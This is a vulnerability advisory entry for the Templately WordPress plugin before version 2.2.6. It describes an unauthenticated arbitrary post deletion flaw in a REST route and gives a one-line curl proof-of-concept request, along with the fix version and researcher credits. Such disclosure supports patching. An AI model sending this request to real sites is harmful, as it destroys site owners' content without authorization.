WordPress Plugin Vulnerabilities

Templately < 2.2.6 - Unauthenticated Arbitrary Post Deletion

Description

The plugin does not properly authorize the `saved-templates/delete` REST API call, allowing unauthenticated users to delete arbitrary posts.

Proof of Concept

Ensure the Elementor plugin is installed so that the Elementor Template functionality is enabled.

curl -X POST https://example.com/?rest_route=/templately/v1/saved-templates/delete -d 'id=1'

Affects Plugins

Fixed in 2.2.6

References

Classification

Type
ACCESS CONTROLS
CWE

Miscellaneous

Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-10-16 (about 1 months ago)
Added
2023-10-16 (about 1 months ago)
Last Updated
2023-12-05 (about 1 days ago)

Other